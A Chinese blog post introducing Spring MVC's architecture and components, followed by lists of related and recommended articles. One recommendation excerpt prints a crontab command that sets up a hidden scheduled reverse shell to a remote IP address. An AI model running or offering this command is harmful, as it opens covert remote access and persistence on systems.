Spring MVC是Spring提供的构建Web应用程序的框架,该框架遵循了Servlet规范,负责接收并处理Servelt容器传递的请求,并将响应写回Response。Spring MVC以DispatcherServlet为核心,众多组件如HandlerMapping为辅助,为用户封装了请求映射等底层逻辑,让用户可以更专注与业务逻辑的处理。本文会对Spring MVC整体结构做简单介绍。

Spring MVC结构图

Spring MVC是一个基于Servlet容器的Web应用框架,这里的Servlet容器通常指Tomcat等服务容器。Servlet容器会负责监听端口消息并映射为Request/Response对象,然后交给Servlet实例去处理。SpringMVC框架的作用核心就是Servlet实例,这个实例在Spring中默认是DispatcherServlet,DispatcherServlet中使用众多Spring组件来协助处理请求,其结构图如下所示。

Servlet容器

Servlet用于从某个Socket接收数据,并处理为标准的ServletRequest和ServletResponse。其内部逻辑比较复杂,我在关于Tomcat容器的其它系列文章中有详细的介绍Tomcat的结构,此处只简单列举一下其功能:

  • 接收socket请求,可以是同步或者异步,阻塞或非阻塞等方式。
  • 处理请求中的协议,如Http协议等。
  • 路由请求到对应的servelt实例。

核心组件DispatcherServlet

Spring MVC的核心组件就是DispatcherServlet,它是SpringWeb请求的调度中心,它的主要功能如下所示:

  • 在Spring容器启动阶段读取映射规则,如RequestMapping;
  • 在请求到来的时候,按照加载的请求映射规则找到合适的处理方法;
  • 当处理请求的过程中出现了异常,对异常进行处理,如返回合适的界面或状态码;
  • 解析返回View的主题、时区等信息;
  • 渲染返回的视图。

请求映射HandlerMapping

请求映射用于根据请求找到该请求需要调用的所有方法,包含过滤器和处理方法等。比较常用的一种请求映射是RequestMappingHandlerMapping,从名称上可以看出来这个HandlerMapping是用于处理@RequestMapping注解请求映射的类。该类的工作原理如下所示,可以看到该类的主要作用是在收到请求之后,按顺序拿到所有需要调用的方法(主要包含拦截器和处理方法),然后一一调用这些方法。

拦截器HandlerInterceptor

拦截器和Tomcat容器中的Valve有些类似,Spring的拦截器可以让用户灵活的在请求处理前、请求处理后和请求完成三个阶段自定义操作,比如用户权限校验等。拦截器的作用我们可以在上一节的图中看到,Spring关于拦截器的接口定义如下所示:

public interface HandlerInterceptor {

    default boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
throws Exception { return true;
} default void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler,
@Nullable ModelAndView modelAndView) throws Exception {
} default void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler,
@Nullable Exception ex) throws Exception {
} }

处理方法Handler

处理方法在DispatcherServlet定义为Object类型,如果我们使用了@RequestMapping来根据请求查找处理方法,那么查找到的处理方法就是HandlerMethod类型,对应于Controller中添加了对应RequestMapping的方法。

处理方法适配器HandlerAdapter

DispatcherServlet从HandlerMapping中获取到的处理方法是Object类型,意味着不同的处理方法可能返回不同的对象,DispatcherServlet本身是一个调度器,不应该关注如何调用不同的处理方法,所以Spring提供了HandlerAdapter列表用户处理不同的调度方法。

// 处理方法适配器接口定义
public interface HandlerAdapter { boolean supports(Object handler); @Nullable
ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception; long getLastModified(HttpServletRequest request, Object handler); }

异常处理HandlerExceptionResolver

HandlerExceptionResolver用于处理请求过程中出现的异常,其实现有很多中类型,不过我们日常开发中使用比较多的是ExceptionHandlerExceptionResolver,也就是处理我们定义的@ExceptionHandler注解。典型的@ExceptionHander的使用方式如下所示,@ExceptionHander还可以放在@ControllerAdvice注解的类中,表示对所有的Controller都会生效。

@Controller
public class SimpleController { // ... @ExceptionHandler
public ResponseEntity<String> handle(IOException ex) {
// ...
}
}

总结

本文只是简单的对SpingMVC的关键组件功能进行介绍,后续文章会对各个关键组件的源码进行解析。

本文最先发布至微信公众号,版权所有,禁止转载!

SpringMVC 解析(一)概览的更多相关文章

  1. springmvc 解析xml数据

    springmvc 解析xml数据 http://blog.csdn.net/zhi_jun/article/details/37925475

  2. Okhttp解析—Okhttp概览

    Okhttp解析-Okhttp概览 Okhttp作为目前Android使用最为广泛的网络框架之一,我们有必要去深入了解一下,本文是Okhttp解析的第一篇,主要是从宏观上认识Okhttp整个架构是如何 ...

  3. SpringMVC解析5-DispatcherServlet逻辑细节

    MultipartContent类型的request处理 对于请求的处理,spring首先考虑的是对于Multipart的处理,如果是MultipartContent类型的request,则转换req ...

  4. SpringMVC解析3-DispatcherServlet组件初始化

    在spring中,ContextLoaderListener只是辅助功能,用于创建WebApplicationContext类型实例,而真正的逻辑实现其实是在DispatcherServlet中进行的 ...

  5. SpringMVC解析1-使用示例

    Spring MVC分离了控制器.模型对象.分派器以及处理程序对象的角色,这种分离让它们更容易进行定制.Spring的MVC是基于servlet功能实现的,通过实现Servlet接口的Dispatch ...

  6. Druid SQL 解析器概览

    概览 Druid 的官方 wiki 对 SQL 解析器部分的讲解内容并不多,但虽然不多,也有利于完全没接触过 Druid 的人对 SQL 解析器有个初步的印象. 说到解析器,脑海里便很容易浮现 par ...

  7. SpringMVC解析2-ContextLoaderListener

    对于SpringMVC功能实现的分析,我们首先从web.xml开始,在web.xml文件中我们首先配置的就是ContextLoaderListener,那么它所提供了功能有哪些又是如何实现的?当使用编 ...

  8. SpringMVC解析Json字符串

    不同第三方jar对json串的解析效果不同. 1. json包 <dependency> <groupId>org.json</groupId> <artif ...

  9. 微信推送给服务器的XML消息解析-springmvc 解析xml数据流

    微信推送给服务器的XML消息解析: 可以使用request.getInputStream(); 获取输入的消息流:但是需要自己解析流: spring mvc自带解析功能: controller中: @ ...

随机推荐

  1. 《转》谈谈基于Kerberos的Windows Network Authentication

    http://www.cnblogs.com/artech/archive/2007/07/05/807492.html 基本原理引入Key Distribution: KServer-Client从 ...

  2. [BUUCTF]PWN——[V&N2020 公开赛]babybabypwn

    [V&N2020 公开赛]babybabypwn 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看程序的大概情况 64位ida载入,看一下main函数 sub_1202()函 ...

  3. [BUUCTF]PWN——others_babystack

    others_babystack 附件 步骤: 例行检查,64位程序,开了挺多保护 本地试运行一下程序 64位ida载入,看main函数 1是read函数,存在栈溢出:2是puts函数,3退出 利用思 ...

  4. 转置Table.Transpose(Power Query 之 M 语言)

    数据源: 任意五行两列 目标: 转置成两行五列 操作过程: [转换]>[转置] M公式:  = Table.Transpose( 表 )  

  5. js实现数组去重的方式(7种)

    JS数组去重的方式 例:将下面数组去除重复元素(以多种数据类型为例) const arr = [1, 2, 2, 'abc', 'abc', true, true, false, false, und ...

  6. CF581B Luxurious Houses 题解

    Content 一条大街上有 \(n\) 个房子,第 \(i\) 个房子的楼层数量是 \(h_i\).如果一个房子的楼层数量大于位于其右侧的所有房屋,则房屋是豪华的.对于第 \(i\) 个房子,请求出 ...

  7. 隐藏计划任务反弹shell

    靶机执行 (crontab -l;printf "* * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.79.3/233 ...

  8. JAVA实现根据图片生成缩略图、裁剪、压缩图片

    依赖(用来复制文件,可以根据自己的来) <dependency> <groupId>commons-io</groupId> <artifactId>c ...

  9. UDP&串口调试助手用法(1)

    一览 UDP 串口 常用 功能概述 概览 支持UDP通信协议: 广播.单播.组播 支持串口通信 配置了常用的配置,常用的进制转化: 2进制,8进制,10进制,和16进制之间的转换 配置了 计算器,加减 ...

  10. 【LeetCode】246. Strobogrammatic Number 解题报告(C++)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客:http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 字典 日期 题目地址:https://leetcode ...